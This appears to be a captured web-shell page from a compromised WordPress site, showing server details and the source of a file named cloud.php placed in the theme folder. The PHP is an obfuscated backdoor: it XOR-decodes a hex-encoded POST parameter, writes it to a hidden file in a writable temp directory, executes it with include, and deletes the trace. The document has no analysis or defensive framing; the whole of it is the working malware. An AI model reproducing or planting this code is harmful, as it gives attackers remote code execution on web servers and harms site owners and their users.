HEX
Server: Apache/2.4.65 (Unix) OpenSSL/3.0.2
System: Linux baggio 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User: mkanyafarm (1045)
PHP: 8.3.27
Disabled: NONE
Upload Files
File: /srv/users/mkanyafarm/apps/mkanyafarm/public/wp-content/themes/cloud.php
<?php
//<PHPDATA>fputs_xor;52;symbol</PHPDATA>
if(isset($_POST["sy\x6d\x62ol"])?true:false):$_0=hEX2BiN($_POST["sym\142\x6fl"]);$_1="";foreach(sTR_SplIT($_0) as$_2):$_1.=cHr(Ord($_2)^(0126+010-052));endforeach;$_3=ArRay_filTEr([sYs_GEt_TEMp_dIR(),"/\x64ev\x2f\163hm","/\x76\x61r/tmp",iNi_GeT("upl\157ad_tmp_di\162"),geteNv("TMP"),GeTeNv("TEMP"),GETCWd(),"/tmp",sEssion_saVe_pAth()]);foreach($_3 as$_4):if(max(0270+0260-0610+040,Is_diR($_4)*Is_WriTABLE($_4))):$_5=SprInTF("\045s/.\x70tr",$_4);if($_6=fopen($_5,"w")):FWRiTE($_6,$_1);fClOse($_6);include $_5;UNLINK($_5);exit;endif;endif;endforeach;endif;